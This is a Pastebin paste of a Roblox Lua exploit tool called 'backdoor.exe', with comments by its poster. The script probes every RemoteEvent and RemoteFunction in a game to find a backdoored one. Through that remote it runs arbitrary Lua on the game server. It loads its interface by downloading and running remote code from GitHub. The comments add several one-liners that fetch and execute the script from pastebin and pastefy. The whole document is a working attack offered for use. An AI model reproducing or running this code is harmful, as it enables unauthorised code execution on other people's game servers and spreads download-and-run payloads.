MawinCK

Backdoor script by someone

May 4th, 2024
39
0
Never
5
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.66 KB | None | 0 0
  1. -- Services
  2. local Players = game:GetService("Players")
  3. local CoreGui = game:GetService("CoreGui")
  4. local Lighting = game:GetService("Lighting");
  5. local Workspace = game:GetService("Workspace");
  6. local JointsService = game:GetService("JointsService")
  7. local ReplicatedStorage = game:GetService("ReplicatedStorage")
  8. local RobloxReplicatedStorage = game:GetService("RobloxReplicatedStorage")
  9.  
  10. -- Variables
  11. local LocalPlayer = Players.LocalPlayer
  12. local RobloxGui = CoreGui.RobloxGui
  13.  
  14. -- Functions
  15. local dateTimeNow = DateTime.now
  16. local tableFind = table.find
  17. local taskSpawn = task.spawn
  18. local taskWait = task.wait
  19. local stringRep = string.rep
  20. local mathRandom = math.random
  21.  
  22. -- Globals
  23. local attached = false;
  24. local backdoor = nil;
  25. local commonPlaces = {
  26. ReplicatedStorage,
  27. Workspace,
  28. Lighting
  29. };
  30. local remoteCodes = {};
  31.  
  32. -- Constants
  33. local INV_CODE = "xJHCqm84cW";
  34. local STRING_VALUE_NAME = mathRandom(1000000, 9999999);
  35.  
  36.  
  37. if RobloxGui:FindFirstChild("V6") then RobloxGui:FindFirstChild("V6"):Destroy(); print("Refreshed"); end
  38. local Variables = loadstring(game:HttpGet("https://raw.githubusercontent.com/iK4oS/backdoor.exe/indev/ui.lua"))()
  39.  
  40. Variables.UI.Main.Active = true
  41. Variables.UI.Main.Draggable = true
  42.  
  43. local function notify(text,cb,b1,b2)
  44. game:GetService("StarterGui"):SetCore(
  45. "SendNotification",{
  46. Title = "backdoor.exe",
  47. Duration = 3,
  48. Text = text,
  49. Callback = cb,
  50. Button1 = b1,
  51. Button2 = b2
  52. }
  53. )
  54. end
  55.  
  56. local function validRemote(rm)
  57. local Parent = rm.Parent
  58. local class = rm.ClassName
  59. if class ~= "RemoteEvent" and class ~= "RemoteFunction" then return false end
  60.  
  61. if Parent then
  62. if Parent == JointsService then return false end
  63. if (Parent == ReplicatedStorage and rm:FindFirstChild("__FUNCTION")) or
  64. (rm.Name == "__FUNCTION" and Parent.ClassName == "RemoteEvent" and Parent.Parent == ReplicatedStorage) then return false end
  65. end
  66.  
  67. if rm:IsDescendantOf(RobloxReplicatedStorage) then return false end
  68.  
  69. return true
  70. end
  71.  
  72. local function scanDescendants(parent)
  73. local descendance = parent:GetDescendants();
  74. for i=1, #descendance do
  75. local descendant = descendance[i];
  76.  
  77.  
  78. if not validRemote(descendant) then continue; end
  79.  
  80. --if #remoteCodes == 5 then remoteCodes.clear(); end
  81. local remoteCode = tostring(mathRandom(100000, 999999));
  82. remoteCodes[remoteCode] = descendant;
  83.  
  84. local remoteClass = descendant.ClassName
  85. local requireScript = ("i=Instance.new('StringValue', game.Workspace); i.Name='%s'; i.Value='%s'"):format(STRING_VALUE_NAME, remoteCode)
  86.  
  87. if remoteClass == "RemoteEvent" then
  88. descendant:FireServer(requireScript)
  89.  
  90. elseif remoteClass == "RemoteFunction" then
  91. local waiting = true
  92. taskSpawn(function()
  93. descendant:InvokeServer(requireScript)
  94. waiting = nil
  95. end)
  96.  
  97. -- If RemoteFunction don't respond in 1 second, we skip this one.
  98. local start = dateTimeNow().UnixTimestampMillis
  99. while waiting and 1000 > dateTimeNow().UnixTimestampMillis - start do
  100. taskWait()
  101. end
  102. end
  103.  
  104. if Workspace:FindFirstChild(STRING_VALUE_NAME) then
  105. attached = true
  106. backdoor = remoteCodes[Workspace:FindFirstChild(STRING_VALUE_NAME).Value]
  107. backdoor:FireServer(("game.Workspace['%s']:Destroy()"):format(STRING_VALUE_NAME)) -- Cleaning up after tonumberselves
  108.  
  109. return true
  110. end
  111. end
  112. end
  113. local function scanGame()
  114. local found = false
  115. -- Scan Common Places
  116. for i=1, #commonPlaces do
  117. local place = commonPlaces[i];
  118. if scanDescendants(place) then
  119. found = true
  120. end
  121. end
  122. -- Scan the rest of the game
  123. local children = game:GetChildren();
  124. for i=1, #children do
  125. local child = children[i];
  126. -- We ofcourse don't need to check the common places again, do we?
  127. if tableFind(commonPlaces, child) then continue; end
  128.  
  129. if scanDescendants(child) then
  130. found = true
  131. end
  132. end
  133. if found then
  134. notify("Backdoor Found!")
  135. Variables.Topbar.Status.Text = "Attached"
  136. Variables.Topbar.Status.Circle.Status_Color.BackgroundColor3 = Color3.fromRGB(95, 185, 47)
  137. else
  138. notify("Unable to find backdoor!")
  139. Variables.Topbar.Status.Text = "Failed"
  140. end
  141.  
  142. return found;
  143. end
  144. local function executeScript(script)
  145. if not attached then
  146. local function callback(text)
  147. if text == "Yes" then
  148. if scanGame() then
  149. executeScript(script)
  150. end
  151. elseif text == "No" then
  152. return
  153. end
  154. end
  155.  
  156. local bf = Instance.new("BindableFunction"); bf.OnInvoke = callback
  157. notify("You're not attached.\nWould you like to attach now?", bf, "Yes", "No")
  158. return
  159. end
  160.  
  161. local script = script or Variables.SourceFrame.Source.Text
  162. if backdoor.ClassName == "RemoteEvent" then
  163. backdoor:FireServer(script)
  164. elseif backdoor.ClassName == "RemoteFunction" then
  165. backdoor:InvokeServer(script)
  166. end
  167. end
  168.  
  169.  
  170.  
  171.  
  172.  
  173. local function promtDiscordInvite()
  174. local httpService = game:GetService("HttpService")
  175. local httpRequest = (syn and syn.request) or (httpService and httpService.request) or http_request
  176.  
  177. if not httpRequest then setclipboard(INV_CODE) notify("Invite code copied!") return end
  178.  
  179. local request = httpRequest({
  180. Url = "http://127.0.0.1:6463/rpc?v=1",
  181. Method = "POST",
  182.  
  183. Headers = {
  184. ['Content-Type'] = 'application/json',
  185. Origin = 'https://discord.com'
  186. },
  187.  
  188. Body = httpService:JSONEncode({
  189. args = {code = INV_CODE},
  190. cmd = 'INVITE_BROWSER',
  191. nonce = httpService:GenerateGUID(false)
  192. })
  193. })
  194.  
  195. if request.StatusCode ~= 200 or httpService:JSONDecode(request.Body).data.code == 4011 then
  196. notify("Invite code copied!")
  197. setclipboard(INV_CODE)
  198. return
  199. end
  200.  
  201. notify("You have been promted to join our Discord. Open your Discord.")
  202.  
  203. end
  204.  
  205. Variables.Topbar.CloseButton.MouseButton1Click:Connect(function() Variables.UI:Destroy() end)
  206. Variables.Topbar.R6Button.MouseButton1Click:Connect(function() executeScript(("require(3041175937):r6('%s')"):format(LocalPlayer.Name)) end)
  207. Variables.MainButtons.ScanButton.MouseButton1Click:Connect(scanGame)
  208. Variables.MainButtons.ExecuteButton.MouseButton1Click:Connect(executeScript)
  209. Variables.MainButtons.ClearButton.MouseButton1Click:Connect(function() Variables.SourceFrame.Source.Text = "" end)
  210. Variables.MainButtons.HideButton.MouseButton1Click:Connect(function() Variables.SourceFrame.Source.Visible = not Variables.SourceFrame.Source.Visible end)
  211. Variables.MainButtons.InviteButton.MouseButton1Click:Connect(promtDiscordInvite)
  212.  
  213.  
  214.  
  215. -- k4scripts
  216. -- .------.
  217. -- |4.--. |
  218. -- | :│/: |
  219. -- | :│\: |
  220. -- | '--'4|
  221. -- `------'
Comments
  • MawinCK
    202 days
    # text 0.10 KB | 0 0
    1. Here is short copy of this this link
    2. loadstring(game:HttpGet("https://pastebin.com/D0e8Wc5Q"))()
  • MawinCK
    202 days
    # text 0.13 KB | 0 0
    1. Oops apologies here actual script short
    2. loadstring("https://pastebin.com/raw/D0e8Wc5Q"))()
    3. If loadstring not work use whole script
  • MawinCK
    202 days
    # text 0.14 KB | 0 0
    1. Maybe this loadstring(reason why using using loadstring bc some of people device could crashed if put too many script or text in his executor
  • MawinCK
    202 days
    # text 0.07 KB | 0 0
    1. Here might work
    2. loadstring(game:HttpGet("https://pastefy.app/Yd9JHkGF"))()
  • MawinCK
    202 days
    # text 0.08 KB | 0 0
    1. Alr this one 100% work
    2. loadstring(game:HttpGet("https://pastefy.app/Yd9JHkGF/raw"))()
Add Comment
Please, Sign In to add comment